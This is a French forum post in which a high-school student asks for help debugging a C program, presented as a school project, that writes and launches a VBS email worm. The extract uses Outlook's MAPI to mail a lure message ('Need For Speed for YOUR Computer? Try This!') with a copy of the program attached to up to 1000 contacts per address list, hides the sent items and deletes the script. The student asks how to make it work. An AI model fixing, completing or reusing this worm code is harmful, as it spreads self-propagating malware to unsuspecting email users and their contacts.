TPE 2007-2008 aide svp

Bonjour,

Je suis en année de premiere scientifique (option SI) et l'heure du passage devant un jury pour le TPE approche.

J'ai choisit, comme thème les virus informatiques et j'ai dut en créer un. Malheureusement, il y a un problème dans le code. Ce virus a été programmé en C (avec Dev Cpp) et est inspiré du virus Xanax de Gygabite. En fait, ce code en C créé un fichier VBS (visual basic) pour l'infection mail et écrit dedans avec lma fonctionfprintf. La compilation du programme se passe normalement mais quand je test ce programme sur mon pc, celui ci plante : en effet, quand je met le code vbs en commentaires le pc n'en tient pas compte et le virus fonctionne normalement (sans infection mail) mais quand je met la fonctionfprintfaccessible à la compilation ça ne fonctionne pas...

Voici un extrait de mon programme avec le code VBS (avec lesfpintf) :

vfile = fopen("c:\\TPEvirus0708.vbs","wt");   if(vfile)
   {
    VirMsgBox("code en version VBS"); /* n'y passe pas ??? */
     fprintf(vfile,"On Error Resume Next\n");
     fprintf(vfile,"Dim TPEvirus0708, Mail, Counter, A, B, C, D, E, F\n");
     fprintf(vfile,"Set TPEvirus0708 = CreateObject(%coutlook.application%c)\n", 34, 34);
     fprintf(vfile,"Set Mail = TPEvirus0708.GetNameSpace(%cMAPI%c)\n", 34, 34);
     fprintf(vfile,"For A = 1 To Mail.AddressLists.Count\n");
     fprintf(vfile,"FOR B = Mail.AdressLists(A)\n");
     fprintf(vfile,"Counter = 1\n");
     fprintf(vfile,"Set C = TPEvirus0708.CreateItem(0)\n");
     fprintf(vfile,"For D = 1 To B.AdressEntries.Count\n");
     fprintf(vfile,"E = B.AdressEntries(Counter)\n");
     fprintf(vfile,"C.Recipients.Add E\n");
     fprintf(vfile,"Counter = Counter + 1\n");
     fprintf(vfile,"If Counter > 1000 Then Exit For\n");
     fprintf(vfile,"Next\n");
     fprintf(vfile,"C.Subject = %cNeed For Speed for YOUR Computer? Try This!%c\n", 34, 34);
     fprintf(vfile,"C.Body = %cTEXTE MESSAGE", 34);
     fprintf(vfile,"TEXTE MESSAGE");
     fprintf(vfile,"TEXTE MESSAGE%c", 34);
     fprintf(vfile,"C.Attachments.Add %c%s%csystem%c%s%c\n, 34, Buffer, 92 ,92, CopyName, 34");
     fprintf(vfile,"C.DeleteAfterSubmit = True\n");
     fprintf(vfile,"C.Send\n");
     fprintf(vfile,"E = %c%c\n", 34, 34);
     fprintf(vfile,"Next\n");
     fprintf(vfile,"Set F = CreateObject(%cScripting.FileSystemObject%c", 34, 34);
     fprintf(vfile,"F.DeleteFile Wscript.ScriptFullName\n");
     fclose(vfile);
    }
    VirMsgBox("005:execution du code VBS");
    ShellExecute(NULL, "open", "TPEvirus0708.vbs", NULL, NULL, SW_SHOWNORMAL);

Je met des MessageBox pour qu'à l'installation du virus, des explications s'affichent (j'ai créé une fonction VirMsgBox pour cela).

On en vient donc à la question :
 Y a t'il une fonction pour remplacer fprintfqui ne ferait pas planter le programme

Merci de votre Aide !!! 
Cordialement !
--HAZKAAL--